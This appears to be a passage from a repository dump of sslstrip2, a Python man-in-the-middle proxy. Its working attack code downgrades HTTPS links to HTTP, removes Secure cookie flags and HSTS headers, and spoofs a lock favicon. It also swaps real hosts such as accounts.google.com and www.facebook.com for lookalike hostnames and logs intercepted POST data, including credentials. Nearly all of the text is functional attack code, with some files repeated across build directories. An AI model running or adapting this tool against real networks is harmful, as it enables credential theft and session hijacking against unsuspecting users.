3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string
20 |
21 | from ServerConnection import ServerConnection
22 |
23 | class SSLServerConnection(ServerConnection):
24 |
25 | '''
26 | For SSL connections to a server, we need to do some additional stripping. First we need
27 | to make note of any relative links, as the server will be expecting those to be requested
28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
29 | '''
30 |
31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
33 | iconExpression = re.compile(r"", re.IGNORECASE)
34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
35 | headExpression = re.compile(r"", re.IGNORECASE)
36 |
37 | def __init__(self, command, uri, postData, headers, client):
38 | ServerConnection.__init__(self, command, uri, postData, headers, client)
39 |
40 | def getLogLevel(self):
41 | return logging.INFO
42 |
43 | def getPostPrefix(self):
44 | return "SECURE POST"
45 |
46 | def handleHeader(self, key, value):
47 | if (key.lower() == 'set-cookie'):
48 | newvalues =[]
49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
50 | values = value.split(';')
51 | for v in values:
52 | if v[:7].lower()==' domain':
53 | dominio=v.split("=")[1]
54 | logging.debug("LEO Parsing cookie domain parameter: %s"%v)
55 | real = self.urlMonitor.sustitucion
56 | if dominio in real:
57 | v=" Domain=%s"%real[dominio]
58 | logging.debug("LEO New cookie domain parameter: %s"%v)
59 | newvalues.append(v)
60 | value = ';'.join(newvalues)
61 |
62 | if (key.lower() == 'access-control-allow-origin'):
63 | value='*'
64 |
65 | ServerConnection.handleHeader(self, key, value)
66 |
67 | def stripFileFromPath(self, path):
68 | (strippedPath, lastSlash, file) = path.rpartition('/')
69 | return strippedPath
70 |
71 | def buildAbsoluteLink(self, link):
72 | absoluteLink = ""
73 |
74 | if ((not link.startswith('http')) and (not link.startswith('/'))):
75 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
76 |
77 | logging.debug("Found path-relative link in secure transmission: " + link)
78 | logging.debug("New Absolute path-relative link: " + absoluteLink)
79 | elif not link.startswith('http'):
80 | absoluteLink = "http://"+self.headers['host']+link
81 |
82 | logging.debug("Found relative link in secure transmission: " + link)
83 | logging.debug("New Absolute link: " + absoluteLink)
84 |
85 | if not absoluteLink == "":
86 | absoluteLink = absoluteLink.replace('&', '&')
87 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
88 |
89 | def replaceCssLinks(self, data):
90 | iterator = re.finditer(SSLServerConnection.cssExpression, data)
91 |
92 | for match in iterator:
93 | self.buildAbsoluteLink(match.group(1))
94 |
95 | return data
96 |
97 | def replaceFavicon(self, data):
98 | match = re.search(SSLServerConnection.iconExpression, data)
99 |
100 | if (match != None):
101 | data = re.sub(SSLServerConnection.iconExpression,
102 | "", data)
103 | else:
104 | data = re.sub(SSLServerConnection.headExpression,
105 | "", data)
106 |
107 | return data
108 |
109 | def replaceSecureLinks(self, data):
110 | data = ServerConnection.replaceSecureLinks(self, data)
111 | data = self.replaceCssLinks(data)
112 |
113 | if (self.urlMonitor.isFaviconSpoofing()):
114 | data = self.replaceFavicon(data)
115 |
116 | iterator = re.finditer(SSLServerConnection.linkExpression, data)
117 |
118 | for match in iterator:
119 | self.buildAbsoluteLink(match.group(10))
120 |
121 | return data
122 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/ServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string, random, zlib, gzip, StringIO
20 |
21 | from twisted.web.http import HTTPClient
22 | from URLMonitor import URLMonitor
23 |
24 | class ServerConnection(HTTPClient):
25 |
26 | ''' The server connection is where we do the bulk of the stripping. Everything that
27 | comes back is examined. The headers we dont like are removed, and the links are stripped
28 | from HTTPS to HTTP.
29 | '''
30 |
31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE)
32 | urlType = re.compile(r"https://", re.IGNORECASE)
33 | urlTypewww = re.compile(r"https://www", re.IGNORECASE)
34 | urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
35 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE)
36 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE)
37 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE)
38 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE)
39 |
40 | def __init__(self, command, uri, postData, headers, client):
41 | self.command = command
42 | self.uri = uri
43 | self.postData = postData
44 | self.headers = headers
45 | self.client = client
46 | self.urlMonitor = URLMonitor.getInstance()
47 | self.isImageRequest = False
48 | self.isCompressed = False
49 | self.contentLength = None
50 | self.shutdownComplete = False
51 |
52 | def getLogLevel(self):
53 | return logging.DEBUG
54 |
55 | def getPostPrefix(self):
56 | return "POST"
57 |
58 | def sendRequest(self):
59 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri))
60 | self.sendCommand(self.command, self.uri)
61 |
62 | def sendHeaders(self):
63 | for header, value in self.headers.items():
64 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value))
65 | self.sendHeader(header, value)
66 |
67 | self.endHeaders()
68 |
69 | def sendPostData(self):
70 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData))
71 | self.transport.write(self.postData)
72 |
73 | def connectionMade(self):
74 | logging.log(self.getLogLevel(), "HTTP connection made.")
75 | self.sendRequest()
76 | self.sendHeaders()
77 |
78 | if (self.command == 'POST'):
79 | self.sendPostData()
80 |
81 | def handleStatus(self, version, code, message):
82 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message))
83 | self.client.setResponseCode(int(code), message)
84 |
85 | def handleHeader(self, key, value):
86 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value))
87 |
88 | if (key.lower() == 'location'):
89 | value = self.replaceSecureLinks(value)
90 |
91 | if (key.lower() == 'content-type'):
92 | if (value.find('image') != -1):
93 | self.isImageRequest = True
94 | logging.debug("Response is image content, not scanning...")
95 |
96 | if (key.lower() == 'content-encoding'):
97 | if (value.find('gzip') != -1):
98 | logging.debug("Response is compressed...")
99 | self.isCompressed = True
100 | elif (key.lower() == 'content-length'):
101 | self.contentLength = value
102 | elif (key.lower() == 'set-cookie'):
103 | self.client.responseHeaders.addRawHeader(key, value)
104 | elif (key.lower()== 'strict-transport-security'):
105 | logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....")
106 | else:
107 | self.client.setHeader(key, value)
108 |
109 |
110 | def handleEndHeaders(self):
111 | if (self.isImageRequest and self.contentLength != None):
112 | self.client.setHeader("Content-Length", self.contentLength)
113 |
114 | if self.length == 0:
115 | self.shutdown()
116 |
117 | def handleResponsePart(self, data):
118 | if (self.isImageRequest):
119 | self.client.write(data)
120 | else:
121 | HTTPClient.handleResponsePart(self, data)
122 |
123 | def handleResponseEnd(self):
124 | if (self.isImageRequest):
125 | self.shutdown()
126 | else:
127 | HTTPClient.handleResponseEnd(self)
128 |
129 | def handleResponse(self, data):
130 | if (self.isCompressed):
131 | logging.debug("Decompressing content...")
132 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
133 |
134 | logging.log(self.getLogLevel(), "Read from server:\n" + data)
135 | #logging.log(self.getLogLevel(), "Read from server:\n " )
136 |
137 |
138 | data = self.replaceSecureLinks(data)
139 |
140 | if (self.contentLength != None):
141 | self.client.setHeader('Content-Length', len(data))
142 |
143 | self.client.write(data)
144 | self.shutdown()
145 |
146 | def replaceSecureLinks(self, data):
147 | sustitucion = {}
148 | patchDict = self.urlMonitor.patchDict
149 | if len(patchDict)>0:
150 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
151 | data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data)
152 |
153 | iterator = re.finditer(ServerConnection.urlExpression, data)
154 | for match in iterator:
155 | url = match.group()
156 |
157 | logging.debug("Found secure reference: " + url)
158 | nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
159 | logging.debug("LEO replacing %s => %s"%(url,nuevaurl))
160 | sustitucion[url] = nuevaurl
161 | #data.replace(url,nuevaurl)
162 |
163 | #data = self.urlMonitor.DataReemplazo(data)
164 | if len(sustitucion)>0:
165 | dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
166 | data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
167 |
168 | #logging.debug("LEO DEBUG received data:\n"+data)
169 | #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
170 | #data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
171 | #if data.find("http://w.face")!=-1:
172 | # logging.debug("LEO DEBUG Found error in modifications")
173 | # raw_input("Press Enter to continue")
174 | #return re.sub(ServerConnection.urlType, 'http://web.', data)
175 | return data
176 |
177 |
178 | def shutdown(self):
179 | if not self.shutdownComplete:
180 | self.shutdownComplete = True
181 | self.client.finish()
182 | self.transport.loseConnection()
183 |
184 |
185 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Server connection failed.")
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Retrying via SSL")
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | self.client.finish()
44 |
45 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
24 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
25 | We then proxy these out using HTTP or HTTPS depending on what information we have about
26 | the (connection, client_address) tuple in our cache.
27 | '''
28 |
29 | requestFactory = ClientRequest
30 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/URLMonitor.py:
--------------------------------------------------------------------------------
1 | # URLMonitor
2 |
3 | import re
4 | import logging
5 |
6 | class URLMonitor:
7 |
8 | '''
9 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
10 | server is expecting over SSL. It also keeps track of secure favicon urls.
11 | '''
12 |
13 | # Start the arms race, and end up here...
14 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
15 | _instance = None
16 | sustitucion = {} # LEO: diccionario host / sustitucion
17 | real = {} # LEO: diccionario host / real
18 | patchDict = {
19 | 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
20 | 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
21 | 'return"https:"':'return"http:"'
22 | }
23 |
24 | def __init__(self):
25 | self.strippedURLs = set()
26 | self.strippedURLPorts = {}
27 | self.faviconReplacement = False
28 |
29 | self.sustitucion["mail.google.com"] = "gmail.google.com"
30 | self.real["gmail.google.com"] = "mail.google.com"
31 |
32 | self.sustitucion["www.facebook.com"] = "social.facebook.com"
33 | self.real["social.facebook.com"] = "www.facebook.com"
34 |
35 | self.sustitucion["accounts.google.com"] = "cuentas.google.com"
36 | self.real["cuentas.google.com"] = "accounts.google.com"
37 |
38 | self.sustitucion["accounts.google.es"] = "cuentas.google.es"
39 | self.real["cuentas.google.es"] = "accounts.google.es"
40 |
41 | def isSecureLink(self, client, url):
42 | for expression in URLMonitor.javascriptTrickery:
43 | if (re.match(expression, url)):
44 | return True
45 |
46 | return (client,url) in self.strippedURLs
47 |
48 | def getSecurePort(self, client, url):
49 | if (client,url) in self.strippedURLs:
50 | return self.strippedURLPorts[(client,url)]
51 | else:
52 | return 443
53 |
54 | def addSecureLink(self, client, url):
55 | methodIndex = url.find("//") + 2
56 | method = url[0:methodIndex]
57 | pathIndex = url.find("/", methodIndex)
58 | host = url[methodIndex:pathIndex].lower()
59 | path = url[pathIndex:]
60 |
61 | port = 443
62 | portIndex = host.find(":")
63 |
64 | if (portIndex != -1):
65 | host = host[0:portIndex]
66 | port = host[portIndex+1:]
67 | if len(port) == 0:
68 | port = 443
69 |
70 | #LEO: Sustituir HOST
71 | if not self.sustitucion.has_key(host):
72 | lhost = host[:4]
73 | if lhost=="www.":
74 | self.sustitucion[host] = "w"+host
75 | self.real["w"+host] = host
76 | else:
77 | self.sustitucion[host] = "web"+host
78 | self.real["web"+host] = host
79 | logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
80 |
81 | url = 'http://' + host + path
82 | #logging.debug("LEO stripped URL: %s %s"%(client, url))
83 |
84 | self.strippedURLs.add((client, url))
85 | self.strippedURLPorts[(client, url)] = int(port)
86 | return 'http://'+self.sustitucion[host]+path
87 |
88 | def setFaviconSpoofing(self, faviconSpoofing):
89 | self.faviconSpoofing = faviconSpoofing
90 |
91 | def isFaviconSpoofing(self):
92 | return self.faviconSpoofing
93 |
94 | def isSecureFavicon(self, client, url):
95 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
96 |
97 | def URLgetRealHost(self,host):
98 | logging.debug("Parsing host: %s"%host)
99 | if self.real.has_key(host):
100 | logging.debug("New host: %s"%self.real[host])
101 | return self.real[host]
102 | else:
103 | logging.debug("New host: %s"%host)
104 | return host
105 |
106 | def getInstance():
107 | if URLMonitor._instance == None:
108 | URLMonitor._instance = URLMonitor()
109 |
110 | return URLMonitor._instance
111 |
112 | getInstance = staticmethod(getInstance)
113 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/ClientRequest.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import urlparse, logging, os, sys, random
20 |
21 | from twisted.web.http import Request
22 | from twisted.web.http import HTTPChannel
23 | from twisted.web.http import HTTPClient
24 |
25 | from twisted.internet import ssl
26 | from twisted.internet import defer
27 | from twisted.internet import reactor
28 | from twisted.internet.protocol import ClientFactory
29 |
30 | from ServerConnectionFactory import ServerConnectionFactory
31 | from ServerConnection import ServerConnection
32 | from SSLServerConnection import SSLServerConnection
33 | from URLMonitor import URLMonitor
34 | from CookieCleaner import CookieCleaner
35 | from DnsCache import DnsCache
36 |
37 | class ClientRequest(Request):
38 |
39 | ''' This class represents incoming client requests and is essentially where
40 | the magic begins. Here we remove the client headers we dont like, and then
41 | respond with either favicon spoofing, session denial, or proxy through HTTP
42 | or SSL to the server.
43 | '''
44 |
45 | def __init__(self, channel, queued, reactor=reactor):
46 | Request.__init__(self, channel, queued)
47 | self.reactor = reactor
48 | self.urlMonitor = URLMonitor.getInstance()
49 | self.cookieCleaner = CookieCleaner.getInstance()
50 | self.dnsCache = DnsCache.getInstance()
51 | # self.uniqueId = random.randint(0, 10000)
52 |
53 | def cleanHeaders(self):
54 | headers = self.getAllHeaders().copy()
55 |
56 | if 'accept-encoding' in headers:
57 | del headers['accept-encoding']
58 |
59 | if 'if-modified-since' in headers:
60 | del headers['if-modified-since']
61 |
62 | if 'cache-control' in headers:
63 | del headers['cache-control']
64 |
65 | return headers
66 |
67 | def getPathFromUri(self):
68 | if (self.uri.find("http://") == 0):
69 | index = self.uri.find('/', 7)
70 | return self.uri[index:]
71 |
72 | return self.uri
73 |
74 | def getPathToLockIcon(self):
75 | if os.path.exists("lock.ico"): return "lock.ico"
76 |
77 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0]))
78 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico")
79 |
80 | if os.path.exists(scriptPath): return scriptPath
81 |
82 | logging.warning("Error: Could not find lock.ico")
83 | return "lock.ico"
84 |
85 | def handleHostResolvedSuccess(self, address):
86 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address))
87 | lhost = self.getHeader("host").lower()
88 | host = self.urlMonitor.URLgetRealHost(lhost)
89 | headers = self.cleanHeaders()
90 | client = self.getClientIP()
91 | path = self.getPathFromUri()
92 |
93 | self.content.seek(0,0)
94 | postData = self.content.read()
95 | url = 'http://' + host + path
96 |
97 | self.dnsCache.cacheResolution(host, address)
98 |
99 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
100 | logging.debug("Sending expired cookies...")
101 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
102 | host, headers, path))
103 | elif (self.urlMonitor.isSecureFavicon(client, path)):
104 | logging.debug("Sending spoofed favicon response...")
105 | self.sendSpoofedFaviconResponse()
106 | elif (self.urlMonitor.isSecureLink(client, url)):
107 | logging.debug("Sending request via SSL...")
108 | self.proxyViaSSL(address, self.method, path, postData, headers,
109 | self.urlMonitor.getSecurePort(client, url))
110 | else:
111 | logging.debug("Sending request via HTTP...")
112 | self.proxyViaHTTP(address, self.method, path, postData, headers)
113 |
114 | def handleHostResolvedError(self, error):
115 | logging.warning("Host resolution error: " + str(error))
116 | self.finish()
117 |
118 | def resolveHost(self, host):
119 | address = self.dnsCache.getCachedAddress(host)
120 |
121 | if address != None:
122 | logging.debug("Host cached.")
123 | return defer.succeed(address)
124 | else:
125 | logging.debug("Host not cached.")
126 | return reactor.resolve(host)
127 |
128 | def process(self):
129 | logging.debug("Resolving host: %s" % (self.getHeader('host')))
130 | host = self.getHeader('host')
131 | deferred = self.resolveHost(host)
132 |
133 | deferred.addCallback(self.handleHostResolvedSuccess)
134 | deferred.addErrback(self.handleHostResolvedError)
135 |
136 | def proxyViaHTTP(self, host, method, path, postData, headers):
137 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
138 | connectionFactory.protocol = ServerConnection
139 | self.reactor.connectTCP(host, 80, connectionFactory)
140 |
141 | def proxyViaSSL(self, host, method, path, postData, headers, port):
142 | clientContextFactory = ssl.ClientContextFactory()
143 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self)
144 | connectionFactory.protocol = SSLServerConnection
145 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory)
146 |
147 | def sendExpiredCookies(self, host, path, expireHeaders):
148 | self.setResponseCode(302, "Moved")
149 | self.setHeader("Connection", "close")
150 | self.setHeader("Location", "http://" + host + path)
151 |
152 | for header in expireHeaders:
153 | self.setHeader("Set-Cookie", header)
154 |
155 | self.finish()
156 |
157 | def sendSpoofedFaviconResponse(self):
158 | icoFile = open(self.getPathToLockIcon())
159 |
160 | self.setResponseCode(200, "OK")
161 | self.setHeader("Content-type", "image/x-icon")
162 | self.write(icoFile.read())
163 |
164 | icoFile.close()
165 | self.finish()
166 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2011 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import string
21 |
22 | class CookieCleaner:
23 | '''This class cleans cookies we haven't seen before. The basic idea is to
24 | kill sessions, which isn't entirely straight-forward. Since we want this to
25 | be generalized, there's no way for us to know exactly what cookie we're trying
26 | to kill, which also means we don't know what domain or path it has been set for.
27 |
28 | The rule with cookies is that specific overrides general. So cookies that are
29 | set for mail.foo.com override cookies with the same name that are set for .foo.com,
30 | just as cookies that are set for foo.com/mail override cookies with the same name
31 | that are set for foo.com/
32 |
33 | The best we can do is guess, so we just try to cover our bases by expiring cookies
34 | in a few different ways. The most obvious thing to do is look for individual cookies
35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
36 | set by Javascript instead of a Set-Cookie header, and if we block those the site
37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting
38 | based on client,server tuples. The first time a client hits a server, we kill whatever
39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
40 |
41 | '''
42 |
43 | _instance = None
44 |
45 | def getInstance():
46 | if CookieCleaner._instance == None:
47 | CookieCleaner._instance = CookieCleaner()
48 |
49 | return CookieCleaner._instance
50 |
51 | getInstance = staticmethod(getInstance)
52 |
53 | def __init__(self):
54 | self.cleanedCookies = set();
55 | self.enabled = False
56 |
57 | def setEnabled(self, enabled):
58 | self.enabled = enabled
59 |
60 | def isClean(self, method, client, host, headers):
61 | if method == "POST": return True
62 | if not self.enabled: return True
63 | if not self.hasCookies(headers): return True
64 |
65 | return (client, self.getDomainFor(host)) in self.cleanedCookies
66 |
67 | def getExpireHeaders(self, method, client, host, headers, path):
68 | domain = self.getDomainFor(host)
69 | self.cleanedCookies.add((client, domain))
70 |
71 | expireHeaders = []
72 |
73 | for cookie in headers['cookie'].split(";"):
74 | cookie = cookie.split("=")[0].strip()
75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
76 | expireHeaders.extend(expireHeadersForCookie)
77 |
78 | return expireHeaders
79 |
80 | def hasCookies(self, headers):
81 | return 'cookie' in headers
82 |
83 | def getDomainFor(self, host):
84 | hostParts = host.split(".")
85 | return "." + hostParts[-2] + "." + hostParts[-1]
86 |
87 | def getExpireCookieStringFor(self, cookie, host, domain, path):
88 | pathList = path.split("/")
89 | expireStrings = list()
90 |
91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
93 |
94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
96 |
97 | if len(pathList) > 2:
98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
100 |
101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
103 |
104 | return expireStrings
105 |
106 |
107 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 |
2 | class DnsCache:
3 |
4 | '''
5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
6 | '''
7 |
8 | _instance = None
9 |
10 | def __init__(self):
11 | self.cache = {}
12 |
13 | def cacheResolution(self, host, address):
14 | self.cache[host] = address
15 |
16 | def getCachedAddress(self, host):
17 | if host in self.cache:
18 | return self.cache[host]
19 |
20 | return None
21 |
22 | def getInstance():
23 | if DnsCache._instance == None:
24 | DnsCache._instance = DnsCache()
25 |
26 | return DnsCache._instance
27 |
28 | getInstance = staticmethod(getInstance)
29 |
--------------------------------------------------------------------------------
/src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging, re, string
20 |
21 | from ServerConnection import ServerConnection
22 |
23 | class SSLServerConnection(ServerConnection):
24 |
25 | '''
26 | For SSL connections to a server, we need to do some additional stripping. First we need
27 | to make note of any relative links, as the server will be expecting those to be requested
28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
29 | '''
30 |
31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
33 | iconExpression = re.compile(r"", re.IGNORECASE)
34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
35 | headExpression = re.compile(r"", re.IGNORECASE)
36 |
37 | def __init__(self, command, uri, postData, headers, client):
38 | ServerConnection.__init__(self, command, uri, postData, headers, client)
39 |
40 | def getLogLevel(self):
41 | return logging.INFO
42 |
43 | def getPostPrefix(self):
44 | return "SECURE POST"
45 |
46 | def handleHeader(self, key, value):
47 | if (key.lower() == 'set-cookie'):
48 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
49 |
50 | ServerConnection.handleHeader(self, key, value)
51 |
52 | def stripFileFromPath(self, path):
53 | (strippedPath, lastSlash, file) = path.rpartition('/')
54 | return strippedPath
55 |
56 | def buildAbsoluteLink(self, link):
57 | absoluteLink = ""
58 |
59 | if ((not link.startswith('http')) and (not link.startswith('/'))):
